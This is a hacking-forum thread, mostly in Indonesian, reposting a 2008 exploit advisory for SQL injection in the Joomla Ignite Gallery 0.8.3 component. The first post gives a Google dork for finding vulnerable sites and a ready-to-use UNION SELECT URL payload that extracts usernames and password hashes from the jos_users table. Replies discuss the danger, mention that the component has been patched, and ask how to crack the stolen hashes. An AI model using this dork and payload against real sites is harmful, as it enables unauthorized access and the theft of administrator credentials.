Username Password

Register Here || Lost Password
View Thread
Explore Your Brain » All About Security I.T » Info Security
Joomla Component Ignite Gallery 0.8.3 SQL Injection Vulnerability
Username
Password
Register FAQ Members List Today's Posts Search

Print Thread

11-10-2008 10:19 AM Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 33
#############################################################################
# #
# Joomla Component Ignite Gallery SQL Injection Vulnerability #
# #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName: "Joomla"
[~] Component: "Ignite Gallery (com_ignitegallery)"
[~] Version: "0.8.3"
[~] Author: "Matt Thomson"
[~] Author E-mail: "matt@ignitejoomlaextensions.com"
[~] Author URL: "www.ignitejoomlaextensions.com"

########################################

[~] DORK: inurl:"com_ignitegallery"

########################################

[~] Exploit: /index.php?option=com_ignitegallery&task=view&gallery=[SQL]&Itemid=18
[~] Example: /index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10+from+jos_users--&Itemid=18

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-10]
Nabi Muhammad SAW bersabda :” Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahui” (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
11-10-2008 08:58 PM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

si_tunge
Anbu


Posts: 376
Joined: 09.09.08
Location: Di dalam kancutnya sandra dewi
Age: 30
Waaak pusiiing gak ngerti..
KsiH penjeLasan dikit doNg paman??
INDONESIA GW ANCUR GARA2 PEMIMPINNYA CACAD
 
Offline
12-10-2008 01:02 AM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 33
Bug diatas sangat berbahaya, karna attacker bisa melihat username dan password administrator dalam bentuk md5 hash.
Nabi Muhammad SAW bersabda :” Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahui” (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
12-10-2008 01:33 AM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

suckeve
Anbu


Posts: 495
Joined: 30.08.08
Location: nowhere
Age: 30
wew..tapi klo g pake componenet itu gpp kan??GrinGrin
soalnya website gw joomla juga nih boz
 
Offline
12-10-2008 01:36 AM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 33
Kl situsnya tidak menggunakan Component Ignite Gallery 0.8.3 tidak ada masalah. aman-aman aja kok. heheheheh
Nabi Muhammad SAW bersabda :” Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahui” (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
22-11-2008 06:13 PM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

sanca
Chunnin


Posts: 81
Joined: 09.07.08
Location: karawang tea
Age: 33
EVA-00 wrote:
Bug diatas sangat berbahaya, karna attacker bisa melihat username dan password administrator dalam bentuk md5 hash.


Ko gk bisa ya...??

Pas saya praktekin, ko galery nya malah blank item.

disana tercantum tulisan yang hidden gitu. pas kita blok baru ketauan tulisan nya. tapi bukan username and password tuh.

apa emang udah di patch ya?
+=+=+=+=SAnca=+=+=+=+

[size=150][/size]
 
Offline
23-11-2008 03:20 AM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 33
Yups, componentna udah di patch oleh developer.
Nabi Muhammad SAW bersabda :” Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahui” (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
05-07-2009 05:49 AM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

andi
Jounin


Posts: 160
Joined: 05.03.09
Location: blacknet
Age: 31
kakak klu bolhe tau,,
bug yang kaka k berikan ini buat joomla yang kberpa..
1.5 pa bukan..
Huehue
 
Offline
23-08-2010 07:45 PM RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

odiex
Genin


Posts: 43
Joined: 13.08.10
gan. kalo mecahin password hashnya gimana tuh ya gan??? Apaansich
-----------------------O.D.I.E.X-----------------------
On Duty Inject Exploit the X systems.
 
Offline
Jump to Forum:
Forum powered by fusionBoard
Share this Thread
URL:
BBcode:
HTML:
Similar Threads
Thread Forum Replies Last Post
SQL injection [Attack + Defense] Black & White Proof of Concept 8 11-05-2011 05:06
HTML Injection In Social Networking Site (POC For Dummies) Black & White Proof of Concept 14 18-03-2011 03:31
HAVECMS 2.0 Beta <======= SQL Injection Info Security 10 27-09-2010 04:52
WebSuite Content Management System (SQL Injection) Info Security 3 14-09-2010 02:06
Hotel reservation System (city.asp city) Blind SQL Injection Vulnerability Author: JosS Info Security 2 23-08-2010 19:57
Copyright © 2007-2016